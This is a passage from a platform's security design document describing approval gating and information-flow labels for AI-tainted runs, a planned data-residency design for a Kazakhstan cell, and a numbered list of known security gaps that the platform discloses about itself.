  2. Run time (planned, T8). The host marks a run tainted after its first ai.* call and signs the flag into the egress context. For a tainted run the gate refuses every external-comms action unless it carries an approval id the API signed over {run, step, connector, action, sha256(body)}. Binding the body hash means the message sent is the message approved. The wait is a DBOS recv; in the City it is a person queueing at the Town Hall.
  3. The builder agent has private data (prompt, templates) and untrusted input (model output, pasted text) but no external-comms tool: it can only write files in its virtual directory. Deploy still needs the human manifest approval.

10a. Information flow: a sensitive read limits what leaves

The owner labels tables and connections (pii, financial, secret). The runtime host records which tables an isolate read, in the app's Durable Object, and signs the list into every egress token; the gate also notes calls through a labelled connection itself. A run that holds a label may then send only to destinations the owner allowed for it, within a request limit and a run total, and every decision is an audit row. Interactive apps are keyed on the app and a five-minute window, host-started runs on their bound run id, so an app cannot shed a label by naming another run. Tables a marked run wrote to carry the label forward.

It narrows the manifest and never widens it. It stops a send; it does not ask for approval, so it does not close the trifecta gap (T8) for AI runs. Limits, bypass attempts and the proofs: docs/security/information-flow.md. Status: Preview, proved on a developer's machine only.

11. Residency

Status: Planned. The pilot cell runs in AWS eu-central-1 and on Cloudflare. No workspace is on a Kazakhstan cell and the provider for one is not chosen, so nothing in this section is true of the pilot today; the pilot's honest statement is "Residency: Planned". What follows is the design a Kazakhstan cell must meet.

  • A KZ workspace's cell holds all of its data: user emails, sessions, tuples, audit chain, app SQLite, sealed secrets, events, backups. The global directory stores workspace_id → cell and billing ids only. A schema test that the directory has no name or email columns is planned.
  • kz-standard: foreign LLMs only after PII redaction in the Qaldy policy layer, which runs even when Bifrost is down. kz-strict: in-region models only; with none available the builder runs offline and the ai permission is unavailable. Proof: POL (the policy function; no workspace runs under it in production).
  • Each cell has its own gate HPKE key; key_id names the cell, so a blob sealed for one cell can't open in another.
  • Connectors are the deliberate exit: a Telegram send from a KZ app leaves the country. The profile's allowedConnectors limits which exits exist and the manifest sentence names the destination (accepted-risk, decided by the workspace admin).
  • Audit streaming and export are also exits, chosen by an admin: a destination outside the country is the admin's decision, and the destination's address is in the audit log.
  • OTel exporters in a KZ cell point at the in-cell collector only; config validation that rejects third-party endpoints under kz-* is planned.
  • Sharing doesn't cross cells: the share picker lists only members of the workspace's own cell.

12. Known gaps

What a reviewer should know is not done. Numbers are stable so a later review can say which closed.

  1. Sandbox depth. workerd alone is not a hardened boundary (its README says so). The pilot relies on Cloudflare's isolation layers; a microVM per tenant (ADR 0005) is not built. An isolate escape would reach whatever the Worker can reach: its own secrets, not the database or the gate.
  2. Development login exists when no OAuth keys are set and QALDY_ENV is not production. The API refuses to start in production with it forced on, and proof L3 checks the live API does not route it.
  3. Connectors. Telegram, HTTP API connections (with presets) and Google Sheets (a service account) work end to end; GitHub, Linear and WhatsApp are presets built from the providers' documentation and have not run against the live services; the rest of the catalog is Preview or Planned and is labelled so in the product.
  4. Key custody. The gate's and the API's private keys are in Secrets Manager and injected as environment variables, not in KMS or an HSM. An AWS administrator can read them.
  5. One cell, one maintainer. No global directory, no second person to review a deploy, no hardware-key enforcement on the cloud accounts yet (planned; the pilot floor in docs/plan/09-security-compliance.md).
  6. Limits. No per-IP or per-host rate limits on the gate, no per-run egress cap, no response token scrubbing for every connector shape.
  7. Public Suffix List. qaldy.app is not on it (and not bought); app-to-app requests are stopped by the Sec-Fetch-Site check only.
  8. Audit. Signed checkpoints and a locked copy narrow the old gap, they do not close it: events after the last checkpoint can be rewritten by someone with database access unless streamed out, the vault copy exists only where QALDY_AUDIT_VAULT_BUCKET is set and the API has AWS credentials (on the pilot cell its container cannot reach the host role, ADR 0024, so the copy is not on yet), and the vault is Governance mode (35 days), which an AWS administrator can bypass. Compliance mode is planned. The default checkpoint key is derived from the API's own key until a dedicated one is set.
  9. Trifecta. Runtime enforcement (T8) is not built; only the build-time flag and score cap.
  10. Bifrost is an optional compose profile. Without it the policy wrapper calls providers directly with the same allowed-provider list and redaction (ADR 0016), losing Bifrost's retries and the virtual key's second budget check.
  11. Proof coverage. The 17 local proofs run on local origins with development keys (plain HTTP, so __Host- and Secure cookie rules are not exercised). The 15 live proofs are read-only and from outside; nothing shows rotation, streaming or the panic button against the live cell.
  12. Rust tooling. clippy and rustfmt run in CI and Docker, not on every laptop (see docs/decisions-log.md).
  13. No external test. There has been no penetration test and there is no SOC 2 report. A test is planned before public beta; the plan is in docs/plan/09-security-compliance.md. A bug bounty is not open: see docs/security/disclosure.md.
  14. Panic button reach. Sessions belong to a person, not a workspace, so the button signs a member out of every workspace they are in. One admin can press it; two-person approval is planned.
  15. S3 export is Preview. The signing code is tested against AWS's published vectors and a stubbed endpoint; it has not been run against a real bucket, and the API role has no sts:AssumeRole statement yet.
  16. Information flow is Preview. The policy (§10a) follows tables of the app's own database and labelled Sheets and HTTP connections, not columns. It does not hold what an app returns to a viewer or prints to its logs. The gate keeps marks and totals in memory (a restart forgets them, a second gate would not share them), and a refused send is not escalated to a person. Data read through a labelled connection and written into a table does not carry the label to that table yet. Proofs I1 to I3 ran on a developer's machine only and are not in the ledger. Full list in docs/security/information-flow.md.

Type to search. Up and down to choose, Enter to open, Esc to close.